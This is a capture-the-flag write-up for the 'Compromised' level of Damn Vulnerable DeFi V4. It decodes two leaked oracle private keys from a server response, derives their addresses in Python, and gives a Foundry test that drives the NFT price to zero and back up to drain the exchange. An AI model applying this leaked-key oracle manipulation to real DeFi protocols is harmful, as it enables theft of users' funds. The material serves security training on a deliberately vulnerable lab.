# Damn Vulnerable DeFi V4 - Compromised [toc] ## Intro While poking around a web service of one of the most popular DeFi projects in the space, you get a strange response from the server. Here’s a snippet: ``` HTTP/2 200 OK content-type: text/html content-language: en vary: Accept-Encoding server: cloudflare 4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30 4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35 ``` A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each. This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0x188...088, 0xA41...9D8 and 0xab3...a40. Starting with just 0.1 ETH in balance, pass the challenge by rescuing all ETH available in the exchange. Then deposit the funds into the designated recovery account. <br> ## Source Code Source Code https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/compromised Test https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/compromised/Compromised.t.sol <br> ## Analysis ### Private Key The 2 hex response can be ascii decode + based64 decoded to get the followings - This is a private key ``` 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159 ``` <br> Now that's derive the address ```python= from eth_keys import keys from eth_utils import to_checksum_address private_key_hex_1 = "0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744" private_key_hex_2 = "0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159" def private_key_to_address(private_key_hex): private_key = keys.PrivateKey(bytes.fromhex(private_key_hex[2:])) public_key = private_key.public_key address = public_key.to_address() return to_checksum_address(address) address_1 = private_key_to_address(private_key_hex_1) address_2 = private_key_to_address(private_key_hex_2) print(f"Address for Private Key 1: {address_1}") print(f"Address for Private Key 2: {address_2}") ``` <br> Run the script ``` Address for Private Key 1: 0x188Ea627E3531Db590e6f1D71ED83628d1933088 Address for Private Key 2: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8 ``` That's the wallet in the trusted oracle sources <br> ### TrustfulOracle Comtract There's a function `postPrice` allows price manipulation ```solidity= function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) { _setPrice(msg.sender, symbol, newPrice); } ``` <br> ## Attack In this case, we should able to perform the attack as following 1. `postPrice("DVNFT", 0)` set the NFT price to 0 2. call `buyOne()` as `player` 3. `postPrice("DVNFT", 999 ether)` set the NFT price back to 999 ether 4. call `sellOne()` as `player` 5. transfer the funds as challenge requirement ```solidity= function test_compromised() public checkSolved { // lower the NFT price vm.startPrank(0x188Ea627E3531Db590e6f1D71ED83628d1933088); oracle.postPrice("DVNFT", 0); vm.stopPrank(); vm.startPrank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8); oracle.postPrice("DVNFT", 0); vm.stopPrank(); // buy an NFT vm.startPrank(player); uint256 ID = exchange.buyOne{value: 1}(); vm.stopPrank(); // Higher the price vm.startPrank(0x188Ea627E3531Db590e6f1D71ED83628d1933088); oracle.postPrice("DVNFT", 9.99 * (10 ** 20)); vm.stopPrank(); vm.startPrank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8); oracle.postPrice("DVNFT", 9.99 * (10 ** 20)); vm.stopPrank(); // sell the NFT vm.startPrank(player); nft.approve(address(exchange), ID); exchange.sellOne(ID); // transfer token to recovery payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE); vm.stopPrank(); } ```